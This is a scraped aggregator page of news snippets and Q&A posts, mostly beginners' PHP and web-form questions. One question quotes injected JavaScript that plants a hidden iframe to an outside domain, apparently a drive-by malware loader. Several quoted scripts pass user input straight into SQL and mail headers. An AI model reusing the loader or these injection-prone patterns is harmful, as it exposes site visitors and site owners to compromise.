Welcome to Com Php Script News
Award-winning screen writer and Dr Who author David Bishop to script Fate of the ... - Gamasutra
[This unedited press release is made available courtesy of Gamasutra and its partnership with notable game PR-related resource GamesPress .] 09 September 2010 - Indie developers Red Redemption are excited to announce ...
Read moreFirst script review for Ghost Rider: Spirit of Vengeance offers up details! - JoBlo.com
It seems GHOST RIDER: SPIRIT OF VENGEANCE is indeed coming our way so there's really no point fighting it, is there? Nicolas Cage is back as everybody's favorite flaming skull with Mark Neveldine and Brian Taylor ...
Read moreZacks Analyst Blog Highlights: Netflix, Apple, Microsoft, Sony and Fred http://www.zacks.com/ - CNBC
... script growth in the pharmacy department and strong Core 5 department results ... php#/pages/Zacks-Investment-Research/57553657748?ref=ts Disclaimer: Past performance does not guarantee future results.
Read moreHack of the Day: Stronger Wording by Script or Click - ReadWriteWeb
This post is part of our ReadWriteHack channel, which is a resource and guide for developers. The channel is sponsored by the Intel Atom Developer Program . RWH Level: Beginner When you are writing Web ...
Read moreSEIU Rallies Outside Express Scripts, Inc.'s St. Louis Headquarters - Riverfront Times (blog)
Protestors at Monday's rally outside Express Scripts' headquarters near UMSL For the last four days, two massive tour buses, carrying 50 unionized employees of Express Scripts, Inc.'s Bensalem, Penn. facility, have ...
Read moreMajor Update of FastTrack Scripting Host Puts Programming Power in IT Administrators’ Hands - PR-USA.net
Binary Research International Inc. (BRI) announced today the release of FastTrack Scripting Host version 6.0, a pseudo-language designed to handle scripting needs in a Windows network. The new version features a full ...
Read moreReality TV over, real NFL begins - Times Union
It's a lot harder to write a script for winning a Super Bowl.
Read moreNew Gmail Account Phishing Campaign in Circulation - Softpedia
php script hosted on an external domain, which stores it for the attackers. " The information entered on the bogus page is snatched by a site registered to someone in Sremska Kamenica, Serbia ," Kelchner explains.
Read moreApple Loosens App Tools Restrictions, Publicizes App Store Review Guidelines - Gamasutra
which would allow ActionScript 3 projects (also the scripting engine behind Flash) to run as native apps on the device's OS. But an update to Apple's iPhone SDK licensing agreement disallowed games developed using ...
Read moreOriginal Quran-Burning Took Place in the Mid-Seventh Century - CNS News
which features the Arabic script for the “shahada” – the Quranic declaration “There is no god but Allah, and Mohammed is his messenger.” Because of this, the Saudi flag is never flown at half-mast.
Read moreWelcome to Com Php Script Questions and Answers
Open Question: javascript coding assistance please take a look?
<script type="text/javascript"> if(google.loader.ClientLocation) { visitor_city = google.loader.ClientLocation.address.city; document.getElementById('city').innerHTML =visitor_city ; } else { document.getElementById('city').innerHTML = '<p>Whoops!</p>'; } </script> <h1 id="city"></h1> Within proper html tags will return the city however would like this to return a get variable for url example domain.com/test.php?i=city moreOpen Question: How do I combine these two PHP scripts?
I'm learning PHP and MySQL still, and I'm curious how I'd go about combining these two scripts. The first script is a sign up, and the second is for a questionnaire. Basically, I want the questionnaire to be part of the sign up requirements. I want it to store it in my database the same way it does in the current questionnaire script as well. But I also want it to show up exactly as it shows up IN the questionnaire script inside of the sign up script. Could I somehow do an include... or? I don't know. I'm new at this. ): Any help with help! Thanks! If you have any other questions about the code just let me know. Here are the pastebins of the php files: http://pastebin.com/pTXGSMT9 - Questionnaire http://pastebin.com/28jZhYyY - Sign upYou wouldn't be able to write data to two separate tables? moreOpen Question: I can prove mistakes in the Quran?
How are the Suras of the Quran organized. Why is Sura 1 at the beginning and Sura 114 at the end Then answer is that the Suras are organized by length. Sura 1 is at the beginning and it is the longest Sura in the Quran. Each Sura is shorter than the one before it. Sura 114 is the shortest. THIS IS NOT THE ORDER THAT THE QURAN WAS "DICTATED" TO MUHAMMAD. Nobody knew the chronological order so they couldn't put it in chronological order. So many different people had bits and pieces memorized and nobody knew in what order they should go. So they arranged it by length. THERE IS THE PROOF THAT THE QURAN HAS BEEN CORRUPTED. The only way you could convince me that the Quran was the perfect uncorrupted words of Allah is by showing me that is in CHRONOLOGICAL ORDER -- I mean by that--that the Quran is in the SAME ORDER as the verse first spoken to muhammad by Gabriel (Jibril)-- then you could make the case that nothing was added or subtracted from Jibril's message in the cave. The artificial arrangement of Quran proves that the book is man made Nobody can remember how all the bits and pieces and half-remembered and fabricated verses of the Koran are arranged. So the editors and compilers of that books just cobbled it together by length. That is why it is mostly baffling and contradictory -- and certainly contains very little of whatever messaage Muhammad thought he heard in that cave by himself http://www.1000mistakes.com/1000mistakes/index.php?Page=001_002_001_001 what does the quran say about the erth flat or round? Following verses from Quran proves that it is completely man made,, and old beliefs matching bible and other religious scripts, "Is not he who has made the earth as a fixed abode" [Quran An-naml(27:61)] earth was fixed place to live not at all moving, sun and moon were moving "And Allah has made earth for you as a carpet spread out" [Surah (71:19)] Earth was flat as a carpet,,, not round... And he it is who hath outstretched the earth, and placed on it the firm mountain "Madda" [Surah 13:3] Earth was flat and was placed on a huge mountain called Madda so that it does not move,,, "And He it is Who spread out the earth and placed therein firm hills and flowing streams, and of all fruits He placed therein two spouses (male and female). He covereth the night with the day. Lo! herein verily are portents for people who take thought." 13:3 "And the earth have We spread out, and placed therein firm hills, and caused each seemly thing to grow therein." 15:19 "Is not He (best) Who made the earth a fixed abode, and placed rivers in the folds thereof, and placed firm hills therein, and hath set a barrier between the two seas ? Is there any God beside Allah ? Nay, but most of them know not!" 27:61 "And the earth have We spread out, and have flung firm hills therein, and have caused of every lovely kind to grow thereon," 50:7 "And the earth have We laid out, how gracious is the Spreader (thereof)!" 51:48 "Have We not made the earth an expanse, And the high hills bulwarks?" 78:6-7 "He spread the earth." 79:30 "And the earth, how it is spread?" 88:20 "And the earth and Him Who spread it," 91:6 Sura Taha (20:53) Who has made earth for you like a bed (spread out); and has opened roads (ways and paths etc.) for you therein; and has sent down water (rain) from the sky. And We have brought forth with it various kinds of vegetation. Sura Az-Zukhruf (43:10) Who has made for you the earth like a bed, and has made for you roads therein, in order that you may find your way. Sura An-Naba (78:6) Have We not made the earth as a bed, Sura An-Naziat (79:30) And after that He spread the earth; Sura Yasin (36:38) And the sun runs on its fixed course for a term (appointed). That is the Decree of the All-Mighty, the All-Knowing. moreVoting Question: PHP Contact Form Gmail Smtp?
Im trying to set my php script to work correctly by using gmail for the smtp server and sending me emails from my website contact form. For some reason my script wont work and I can't figure out why. Below is the php script that I have and the html section form. Any help is appreciated, Thanks. //////////////////////////////////////////////// contact.php //////////////////////////////////////////////// <?php if(!$_POST) exit; require("phpmailer/class.phpmailer.php") function smtpMail($to, $from_name, $from_email, $subject, $body){ $mail = new PHPMailer(); $mail->IsSMTP(); $mail->SMTPAuth = true; $mail->SMTPSecure = 'ssl'; $mail->Host = 'smtp.gmail.com'; $mail->Port = 465; $mail->Username ="fake@gmail.com"; $mail->Password = "123456"; $mail->SetFrom($from_email, $from_name); $mail->Subject = $subject; $mail->Body = $body; $mail->AddAddress($to); return $mail->Send(); } $email = $_POST['email']; //$error[] = preg_match('/\b[A-Z0-9._%-]+@[A-Z0-9.-]+… $_POST['email']) ? '' : 'INVALID EMAIL ADDRESS'; if(!eregi("^[a-z0-9]+([_\\.-][a-z0-9]+… ."@"."([a-z0-9]+([\.-][a-z0-9]+)*)+"."\\… )){ $error .="Invalid email address entered"; $errors = 1; } if($errors==1) echo $error; else{ $values = array ('name','email','message','subject'); $required = array('name','email','message','subject'); $your_email = "james@example.com"; $email_subject = "New Message: ".$_POST['subject']; $email_content = "new message:\n"; foreach($values as $key => $value){ if(in_array($value,$required)){ if ($key != 'company') { if( empty($_POST[$value]) ) { echo 'PLEASE FILL IN REQUIRED FIELDS'; exit; } } $email_content .= $value.': '.$_POST[$value]."\n"; } } if(@smtpMail($your_email, $receipient_email, $receipient_name, $email_subject, $email_content) { echo 'Message sent!'; } else { echo 'ERROR! Message was NOT sent.'; } } ?> //////////////////////////////////////////////// HTML Form //////////////////////////////////////////////// <form action="contact.php" method="post" id="contactform"> <ol> <li> <label for="name">First Name <span>*</span></label> <input id="name" name="name" class="text" /> </li> <li> <label for="email">Your email <span>*</span></label> <input id="email" name="email" class="text" /> </li> <li> <label for="company">Company</label> <input id="company" name="company" class="text" /> </li> <li> <label for="subject">Subject</label> <input id="subject" name="subject" class="text" /> </li> <li> <label for="message">Message <span>*</span></label> <textarea id="message" name="message" rows="5" cols="50" style="height:200px;"></textarea> </li> <li> <input class="button" style="color:#fff;" type="submit" value="Send" /> </li> </ol> </form> moreResolved Question: PHP regular expression question...?
Ok, I am not sure how to phrase this, so please bear with me... (Is that the correct use of "bear"?) ------- I want to be able to route certain pages to slightly different pages, as long as the requested page is not "index", using regular expressions. Here is currently how my script will work. Mod_rewrite is on, allow everything to go through my index.php page... 1st, it will check to see if the pattern matches the current uri. If it does, it precedes to replace the current uri (held within a variable), with the slightly different uri... Here is what I mean... If the URL is http://example.com/pages/about_us And $var = "pages/about_us" I want $var to become "pages/display/about_us" (Now, I have all the coding, but I need my RegEx changed....) here is my current pattern, held within an array: $settings['routes'][] = array("^pages\/([[:alnum:][:punct:]]*)" => "pages/display/$1"); Here are some examples of what it will match: "pages/about_us" ---> "pages/display/about_us" "pages/latest-news" ---> "pages/display/latest-news" "pages/contactme" ---> "pages/display/contact_me" But, it will also match: "pages/index" changing it to: "pages/display/index" and I do not want it to. I want it to match everything except the word "index". So, I am wondering if anyone can help me with the proper RegEx code? Thanks, and sorry if I am not making much sense... moreVoting Question: How do I convert php mail script for smtp for website?
I currently am using xtreemhost for webhosting but they don't support php default mail(). So I want to use smtp instead. I just need help implementing/convert the smtp code into my current php script so it will work with smtp. I found a tutorial at (http://xtreemhost.com/2010/04/11/how-to-send-e-mails-via-smtp-with-phpmailer-and-gmail/) but it doesn't really help except to set it up. Below is my current contact.php /////////////////////////////////////////// contact.php /////////////////////////////////////////// <?php if(!$_POST) exit; $email = $_POST['email']; //$error[] = preg_match('/\b[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b/i', $_POST['email']) ? '' : 'INVALID EMAIL ADDRESS'; if(!eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*" ."@"."([a-z0-9]+([\.-][a-z0-9]+)*)+"."\\.[a-z]{2,}"."$",$email )){ $error.="Invalid email address entered"; $errors=1; } if($errors==1) echo $error; else{ $values = array ('name','email','message'); $required = array('name','email','message'); $your_email = "james@example.com"; $email_subject = "New Message: ".$_POST['subject']; $email_content = "new message:\n"; foreach($values as $key => $value){ if(in_array($value,$required)){ if ($key != 'subject' && $key != 'company') { if( empty($_POST[$value]) ) { echo 'PLEASE FILL IN REQUIRED FIELDS'; exit; } } $email_content .= $value.': '.$_POST[$value]."\n"; } } if(@mail($your_email,$email_subject,$email_content)) { echo 'Message sent!'; } else { echo 'ERROR! Message was NOT sent.'; } } ?> /////////////////////////// Need to add this to contact.php if possible /////////////////////////////// require("class.phpmailer.php"); // path to the PHPMailer class $mail = new PHPMailer(); $mail->IsSMTP(); // telling the class to use SMTP $mail->Mailer = "smtp"; $mail->Host = "ssl://smtp.gmail.com"; $mail->Port = 465; $mail->SMTPAuth = true; // turn on SMTP authentication $mail->Username = "yourusername@gmail.com"; // SMTP username $mail->Password = "yourpassword"; // SMTP password $mail->From = "email address sender"; moreVoting Question: CSS & Coding! AHHHHHHHH!?
Hi, I'm really new to the coding/css scene, and I wanted to create a Twitter Badge. I found some code in an article at http://www.webdesign.org/web-programming/javascript/how-to-display-your-last-tweet-using-javascript-and-the-twitter-api.17698.html But it doesn't work very well. (It shows my last 20 or so updates and the style is screwed). For the badge, I want to duplicate the results that the article shows, but instead of showing just 1 tweet, I'd like to have it cycle through my top 5 recent tweets, spending about 1.5 seconds on each message. I have NO IDEA of how to do this, so could somebody please create the code I need? My serer DOES **NOT** have PHP! Only html & Javascript. No WordPress or jQuery either (i hate not having PHP), Sorry... If possible, try to use the updated Twitter API. Please do not use external CSS, Having a one-file script and not relying on other sites would be nice. My twitter username is "andrewjmetzger" ----------------------------------------------------------------------------------------------------- For reference, here are the links: The image of the results- http://www.webdesign.org/img_articles/17698/twit.png The article- http://www.webdesign.org/web-programming/javascript/how-to-display-your-last-tweet-using-javascript-and-the-twitter-api.17698.html =============== By the way, please don't hesitate to email me at andrewjmetzger [at] gmail [dot] com if you have questions. Thanks in advance! Andrew Metzger moreResolved Question: Help with modRewrite?
I am redirecting my site to a sub-folder "dir1" by setting up an automatic redirection on the hosting control panel: if you go to www.site.com......you get redirected to www.site.com/dir1/index Also, I have an .htaccess file located in the folder "dir1" (folder where site gets redirected) with the following content: RewriteEngine on RewriteRule ^/?(index|filename2|filename3)$ index.php?page=$1 [NC,L] RewriteRule ^sitemap.xml$ sitemap.php [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule .? 404.html [L] I don't know much about modRewrite but I've been asking around and managed to put together the above file which works perfectly for my purposes of eliminating the extension ".php" from scripts file names and renaming sitemap.php to sitemap.xml Now, I need to achieve 1 more thing: I want the URLs to be renamed so that the folder name disappears. For example: the URLs: www.site.com/dir1/index www.site.com/dir1/filename2 should be re-written to: www.site.com/index www.site.com/filename2 Is there anything I can do using the .htaccess file that I have? (NOTE: I can't add an .htaccess file in the root directory of the site, I can only edit this .htaccess file located under the folder /dir1 ) Thanks for your advice! moreResolved Question: Where can I get advanced PHP User Authentication Script for free?
Hi everyone I am newbie for PHP. I've searched all over the internet to find PHP script which looks exactly like this one. http://3wtemplates.com/organic_4memberonly/signup.php there are many scripts with only user name password and email but I am looking for the script with the complete information. Can any one tell me where to find it? Please help. Best Regard's moreResolved Question: How to have a stand out audition?
So I am going to an acting audition thing where there is about 5 scripts I can choose from. The top ten get chosen for call backs but the scripts arn't very interesting and I don't know how I can make my audition stand out from the rest. Please give me some tips :) I am 14 and this is the scripts if you have any suggestions on the best one to do. Thanks so much! http://www.screenactors.com.au/document-information.php?document-name=GEELONG%27S_NEXT_TOP_ACTOR_-_Audition_Scripts&document=62&pageNo= moreVoting Question: unexpected T_VARIABLE?
I'm trying to upload a subscribe form to my server, though I'm having a problem with my coding. Any help at all would be appreciated! Thanks in advance! :) Here's the PHP <?php if(isset($_POST['Email_Address'])) { include 'lite_settings.php'; if($email_to == "specials@chicagolandplumbing.com") { die("This message is for the Webmaster. Please enter your email address into the file 'lite_settings.php'"); } function died($error) { echo "Sorry, but there were error(s) found with the form your submitted. "; echo "These errors appear below.<br /><br />"; echo $error."<br /><br />"; echo "Please go back and fix these errors.<br /><br />"; die(); } if(!isset($_POST['Full_Name']) || !isset($_POST['Email_Address']) || died('We are sorry, but there appears to be a problem with the form your submitted.') $full_name = $_POST['Full_Name']; // required "$email_from = $_POST['Email_Address']; // required" $error_message = ""; $email_exp = "^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$"; if(!eregi($email_exp,$email_from)) { $error_message .= 'The Email Address you entered does not appear to be valid.<br />'; } if(strlen($full_name) < 2) { $error_message .= 'Your Name does not appear to be valid.<br />'; } if(strlen($error_message) > 0) { died($error_message); } $email_message = "Form details below.\r\n"; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } $email_message .= "Full Name: ".clean_string($full_name)."\r\n"; $email_message .= "Email: ".clean_string($email_from)."\r\n"; $headers = 'From: '.$email_from."\r\n". 'Reply-To: '.$email_from."\r\n" . 'X-Mailer: PHP/' . phpversion(); @mail($email_to, $email_subject, $email_message, $headers); header("Location: $thankyou"); ?> <script>location.replace('thankyou.htm')</script> <? ?>It said it was on line 26 moreResolved Question: BPO or Back Office Projects Need.?
With Our 5year IT and BPO Experience Now We want to provide Our best service for overseas companies. while We are looking for best companies to Apply We got your contact pleas spend just 1 minutes to touch what service in bellow We provide Our best level Data Entry Ø Spread sheet data entry / forms filling ( online/ offline) ( Computer Data Entry in any form including /Text, Numeric or Alphanumeric entry / Data Entry for Research Houses Online Data Entry /Examination Results entry / Mailing Lists /Yellow pages & white pages listings / Insurance Claim Entry / Payroll services /Booking keeping and Accounts activities. ) Internet Information and Data Research Ø Company contact information research ( Providing Company details , locations ,Tel numbers , Addresses ) Ø Clients profiles and directory research Ø Product categories information research (Providing productions details ) Ø Article contents research Ø Education and Information research ( Providing Education Information ) Ø Violence fake research (Attention for Internet fakes ) Ø Image research ( Research contents of Images ) Image Possessing Ø Marathon riders Bib Number entries ( sort out the Bib numbers of marathon riders ) Ø Advertisement , Banners , Scan images data conversion ( convert data to the Excel / Word / PDF formats etc ) Ø Image Capturing Ø Image Editing Document Possessing Ø PDF to Text Doc conversion Ø JPEG / TIFF / GIF all image categories into text document conversion Ø OCR any kind scanned document into text doc format Ø Old book image into text doc conversion ( Convert old book data to the text formats ) Ø Internet web site contents information into PDF , Word document conversion HTML , CSS script tagging Ø Convert image text with HTML tag for website Ø Convert images text with CSS tags for website Ø Convert image text with JAVA SCRIPT / PHP CRIPT / PB CRIPT tag for website Ø Book pages connect into web pages with adding HTML tags Search Engine web site optimizing Ø Meta tag inserting Ø Add customize SEO techniques to website Ø Google , Yahoo , Alta vista ,AOL keywords to bring websites into top 10 search results. Ø Word Press blog , Facebook keywords adding. Ø Answers for top question and bring to top 10 search points. Ø Generate Back links. Office Document Computerize Ø Computerize old bills , receipt , invoices , books , back statement , log books etc. Simple Website Designing Ø HTML one page / five page websites Writing and Proof Reading Ø Website contents writing and proof reading Ø News letter writing and proof reading Ø E-articles( Internet Article ) writing and proof reading Ø Book contents proof reading Ø Article writing ( product , items , marketing articles) Ø Magazine contents writing Ø News Paper proof reading Ø Creative writing and Creative designing Thank you very much keep touch with what We can do. We are awaiting for your pleasant reply with you service requirements. Have a successful day. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks, Rachitha H.A.R.S.C. www.dilrait.com Leader in DILRAiT Team rachi@dilrait.com 0094777412613 Gonawala, Kelaniya Sri Lanka (Island of Gods) ........................................................................ "Assess Comes With Efficiency" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ moreResolved Question: Why does my web form mailer not work in submitting to my e-mail after clicking the submit button?
Hi everyone! My name is Nakeisha. My web form mailer does not work in submitting to my e-mail account after clicking the submit button on my website. I created a web form mailer in Dreamweaver CS4, and I saved it as webformmailer.php as instructed by my web hosting company. I used their script suggested to create the form as <form action="webformmailer.php" method="post" id="email"> <p> <input type="hidden" name="subject" value="Form Submission" /> <input type="hidden" name="redirect" value="thankyou.html" /> </p>The website is www.creativeartsgraphics.com. I also entered my e-mail address from GoDaddy.com for the web form mailer to be sent and reinstalled the default scripts. After proceeding with these steps, nothing was resolved with my web form mailer. I would appreciate it if someone can please look at my website: http://creativeartsgraphics.com and give me some guidance on how to get my web form mailer to work. I am open to any helpful advice. Thank You, Nakeisha moreResolved Question: What is wrong with this PHP?
<?php session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>thelowlowstore.com</title> </head> <body> <?php $page = $_GET['page']; require('check.php'); if ($page = "register") { //show register page require ('register.php'); } if ($page = "login") { //show log in page require ('showlogin.php'); } ?> </body> </html> basically it should pass variable login.php?page=login/register and load the appropriate script. no matter what i try, both register.php and login.php both are posted into the page. can anybody tell me what is wrong?also an echo(); of $page results in the correct variable so it is being passed moreResolved Question: PHP mail script won't work on Yahoo Small Business-hosted website. What am I doing wrong?
I have a PHP script uploaded to the root folder for my website (see script below). However, it does not succeed in sending mail unless I have MY OWN email address in the "Email" field - where I obviously want the sender's email to go. If I try a different email address, sending fails. I already have my email address listed in the "receiver" field. Yahoo's PHP site says that a path to "Sendmail" (/usr/sbin/sendmail) should be included. I'm not sure where that should go, though, if anywhere at all. Like I said, sending mail succeeds if my own email address is in the "email" field already. Anyway, here's the script. Please let me know what I'm doing wrong! Thanks! <?php $contact_name = $_POST['name']; $contact_email = $_POST['email']; $contact_subject = $_POST['subject']; $contact_message = $_POST['message']; if( $contact_name == true ) { $sender = $contact_email; $receiver = "my@emailaddress.com"; $client_ip = $_SERVER['REMOTE_ADDR']; $email_body = "Name: $contact_name \nEmail: $sender \n\nSubject: $contact_subject \n\nMessage: \n\n$contact_message \n\nIP: $client_ip \n\nFlash Contact Form provided by http://www.flashmo.com"; $extra = "From: $sender\r\n" . "Reply-To: $sender \r\n" . "X-Mailer: PHP/" . phpversion(); if( mail( $receiver, "Flash Contact Form - $contact_subject", $email_body, $extra ) ) { echo "success=yes"; } else { echo "success=no"; } } ?> moreResolved Question: HTML collapsible bar , can't find the name, read description for details lol?
http://www.nes-snes-sprites.com/NES%20Soundtracks/nes_soundtracks.html on that page, i want all the title bars to collapse and re expend the file names below each section, but I am not sure what it is called or how to do this in html or java script. any help wuld be appreciated. NOTE: I am not a programmer, no php, asp CSS and all that please lol moreResolved Question: Help with PhP why does one script work and the other doesnt?
ok i have done a register script and this is the reguser.php for ages i had an error "Parse error: parse error in C:\wamp\www\Game\reguser.php on line 53" this was my script ( http://pastebin.com/tbvmqr7h ) please note lines 52-54, This is my new script completey the same except lines 52-54 ( http://pastebin.com/smG56Biv ) Can someone please explain to me why the second script is fully working and the first isnt? they are both identicle in every way other than lines 52-54 and im confused as hell! thanks alot ant moreResolved Question: I have problem with auto generated html code?
I have problem with this code I don’t know if it is virus or spam this code is located in the beginning in some php or html files It is auto generated , if I deleted this code , it is coming again And making problem for my systems If you can tell me what is this code is doing and how can i destroy it code is below <script language="JavaScript"> var cookieString = document.cookie; IE='\v'=='v' var start = cookieString.indexOf("upda43tebng="); if (IE && start == -1){ var expires = new Date(); expires.setTime(expires.getTime()+3*3600*1000); document.cookie = "upda43tebng=update;expires="+expires.toGMTString(); document.write('<iframe src="http://hinnws.com/tets.html" id="hfrd" height="100" width="100"></iframe>') fr=document.getElementById('hfrd') setTimeout('fr.style.display="none"', 6000) }</script><!-- 0980237642 --> moreResolved Question: problem in multiple dropdown PHP MySQL?
i took this code from http://www.plus2net.com/php_tutorial/dd3.php i want to make the the three dropdown in a table and every one is one above the others like this :- |select one| | |select one| | |select one| | |submit| this is the code :- <?php include("configure.php"); ?> <!doctype html public "-//w3c//dtd html 3.2//en"> <html> <head> <title>Three Dropdown Trial</title> <meta name="GENERATOR" content="Arachnophilia 4.0"> <meta name="FORMATTER" content="Arachnophilia 4.0"> <SCRIPT language=JavaScript> function reload(form) { var val=form.cat.options[form.cat.options.selectedIndex].value; self.location='dd3.php?cat=' + val ; } function reload3(form) { var val=form.cat.options[form.cat.options.selectedIndex].value; var val2=form.subcat.options[form.subcat.options.selectedIndex].value; self.location='dd3.php?cat=' + val + '&cat3=' + val2 ; } </script> </head> <body> <? ///////// Getting the data from Mysql table for first list box////////// $quer2=mysql_query("SELECT DISTINCT category,cat_id FROM category order by category"); ///////////// End of query for first list box//////////// /////// for second drop down list we will check if category is selected else we will display all the subcategory///// $cat=$HTTP_GET_VARS['cat']; // This line is added to take care if your global variable is off if(isset($cat) and strlen($cat) > 0){ $quer=mysql_query("SELECT DISTINCT subcategory,subcat_id FROM subcategory where cat_id=$cat order by subcategory"); }else{$quer=mysql_query("SELECT DISTINCT subcategory,subcat_id FROM subcategory order by subcategory"); } ////////// end of query for second subcategory drop down list box /////////////////////////// /////// for Third drop down list we will check if sub category is selected else we will display all the subcategory3///// $cat3=$HTTP_GET_VARS['cat3']; // This line is added to take care if your global variable is off if(isset($cat3) and strlen($cat3) > 0){ $quer3=mysql_query("SELECT DISTINCT subcat2 FROM subcategory2 where subcat_id=$cat3 order by subcat2"); }else{$quer3=mysql_query("SELECT DISTINCT subcat2 FROM subcategory2 order by subcat2"); } ////////// end of query for third subcategory drop down list box /////////////////////////// echo "<form method=post name=f1 action='dd3ck.php'>"; ////////// Starting of first drop downlist ///////// echo "<select name='cat' onchange=\"reload(this.form)\"><option value=''>Select one</option>"; while($noticia2 = mysql_fetch_array($quer2)) { if($noticia2['cat_id']==@$cat){echo "<option selected value='$noticia2[cat_id]'>$noticia2[category]</option>"."<BR>";} else{echo "<option value='$noticia2[cat_id]'>$noticia2[category]</option>";} } echo "</select>"; ////////////////// This will end the first drop down list /////////// ////////// Starting of second drop downlist ///////// echo "<select name='subcat' onchange=\"reload3(this.form)\"><option value=''>Select one</option>"; while($noticia = mysql_fetch_array($quer)) { if($noticia['subcat_id']==@$cat3){echo "<option selected value='$noticia[subcat_id]'>$noticia[subcategory]</option>"."<BR>";} else{echo "<option value='$noticia[subcat_id]'>$noticia[subcategory]</option>";} } echo "</select>"; ////////////////// This will end the second drop down list /////////// ////////// Starting of third drop downlist ///////// echo "<select name='subcat3' ><option value=''>Select one</option>"; while($noticia = mysql_fetch_array($quer3)) { echo "<option value='$noticia[subcat2]'>$noticia[subcat2]</option>"; } echo "</select>"; ////////////////// This will end the third drop down list /////////// echo "<input type=submit value='Submit the form data'></form>"; ?> </body> </html>i'm so beginner in php mysql juliepel.... i don't understand.... i used <br> , <p> , and also table to separate the three dropdown but still not working.... can u giv me d idea if you know the way? thanks moreResolved Question: Would this be possible with a blog? (10 POINTS)?
Well I'm trying to make a new gaming website, and I got the design in photoshop all worked out but I'm wondering if it'd be possible to do what I'm trying to do with a blog script, or something else (please suggest what I should use). Basically I want it to look a little similar to ign.com, where on the front page it has the recent news articles posted in all of the category (ps3, pc, etc) and then if you click one of the links on the top, it brings you to that specific page and shows that specific news. Also, since I'm pretty new to coding PHP and stuff, I'd like to just edit a pre-made script, so if you can suggest the easiest one to do what I need to do that'd be appreciated. :) Below is a link to the picture of the design i have going on with some sample content in it of how I want it to look, so please suggest how I should do it. Thanks :) http://i35.tinypic.com/2ywd8k2.png (the lines going through it is just a watermark) I know this is a silly place to ask, but if anyone would like to join me in the making of the new website, you can add my MSN at tehdylan@live.com (yes teh not the) moreResolved Question: Why isn't the PHP time() function working right?
Here is a PHP script that tests your bandwidth. There is a text file called bandwidth.txt on the hosting server. The script makes a time stamp ($start), reads the file, sends it to you and make another time stamp ($stop). From that, it calculates your bandwidth. The problem is that the two time stamps are the same. I can't figure out why. So I end up dividing by zero each time. <form action="" method="post"> <input type="submit" name="bandwidth" value="Test Bandwidth" /> </form> <?php if(isset($_POST['bandwidth'])){ // Retrive the data to send to the user $data = file_get_contents("bandwidth.txt"); // Determine the data's total size, in Kilobytes $fsize = filesize("bandwidth.txt") / 1024; echo "File size: $fsize KB<br/>"; // Define the start time $start = time(); echo "Start time: $start<br/>"; //Send the data to the user echo "<!-- $data -->"; // Define the stop time $stop = time(); echo "Stop time: $stop<br/>"; // Calculate the time taken to send the data $duration = $stop - $start; // Divide the file size by the number of seconds taken to transmit it $speed = round($fsize / $duration, 2); // Display the calculated speed in Kilobytes per second echo "Your network speed: $speed KB/sec."; } ?> Here is the actual php file: http://newhorizon001.awardspace.com/bandwidthtest.php moreResolved Question: How exactly do I fix this MySQL error?
I get this error when I try to login to the Admin CP Database error in vBulletin 4.0.4: Invalid SQL: INSERT INTO forumcpsession (userid, hash, dateline) VALUES (1, '75e09b152e43f07bcf9db5c4a02bbc54', 1281536665); MySQL Error : INSERT command denied to user '**********'@'**.**.**.**' for table 'forumcpsession' Error Number : 1142 Request Date : Wednesday, August 11th 2010 @ 03:24:25 PM Error Date : Wednesday, August 11th 2010 @ 03:24:25 PM Script : http://******************************.com/login.php?do=login Referrer : http://*****************************.com/admincp/ IP Address : ***.**.**.** Username : ************* Classname : vB_Database MySQL Version : 4.1.22-standard-log I get this error when entering the homepage: Database error The What did you make for dinner? database has encountered a problem. -------------------------------------------------------------------------------- Please try the following: •Load the page again by clicking the Refresh button in your web browser. •Open the whatdidyoumakefordinner.com home page, then try to open another page. •Click the Back button to try another link. The whatdidyoumakefordinner.com forum technical staff have been notified of the error, though you may contact them if the problem persists. We apologise for any inconvenience.If I need to add permission to a user for a database what exactly would I type in phpMyAdmin moreVoting Question: PHP form validation script won't work in i.e. but works perfectly in FF & Safari?
My php form validation script won't work in i.e. When i press the send button in i.e, it takes me to the php file but with no error messages and when i fill out the fields properly it does the same and takes me to the same php file with no error messages when it should take me to my contactthanks.html page. Can someone please help me? Also, how would i go about validating the email field properly? Here is all my code: <div id="form"> <form method="post" action="contact_validation.php" id="commentForm"> <fieldset> <div id="formLeft"> <label for="Name">Name:</label> <div class="input-bg"> <input type="text" name="Name" id="Name" value='<?php echo $Name; ?>' maxlength="27" /> </div> <label for="Email">Email:</label> <div class="input-bg"> <input type="text" name="Email" value='<?php echo $Email; ?>' /> </div> </div> <div id="formRight"> <label for="Message">Message:</label> <div class="message-bg"> <textarea name="Message" id="Message" rows="10" cols="10" value='<?php echo $Message; ?>'></textarea> </div> <br /> <input type="image" src="images/send-button.jpg" name="submit" value="Submit" class="submit-button" /> </div> <div class="clear"></div> </fieldset> </form> </div> </div> <html> <head> <title>Lorem ipsum</title> <link rel=" icon" href="favicon.ico" /> <style type="text/css"> <!-- body { background: url(images/bg1.png) repeat-x scroll top; } #error_message{ font-family: georgia; color: #ff3333; margin-top: 200px; } --> </style> </head> <body> <div align="center"> <div id="error_message"> <?php if ($_POST['submit']) { //get form data $Name = $_POST['Name']; $Email = $_POST['Email']; $Message = $_POST['Message']; if (!$Name) $errorstring = $errorstring."Name:<br>"; if (!$Email) $errorstring = $errorstring."Email:<br>"; if (!$Message) $errorstring = $errorstring."Message:<br>"; if ($errorstring!="") echo "Please fill out the following fields:<br>$errorstring"; else { //run submit $EmailFrom = "myemailaddressl.com"; $EmailTo = "myemailaddress.com"; $Subject = "Contact Form Submission"; $Name = Trim(stripslashes($_POST['Name'])); $Email = Trim(stripslashes($_POST['Email'])); $Message = Trim(stripslashes($_POST['Message'])); // prepare email body text $Body = ""; $Body .= "Name: "; $Body .= $Name; $Body .= "\n"; $Body .= "Email: "; $Body .= $Email; $Body .= "\n"; $Body .= "Message: "; 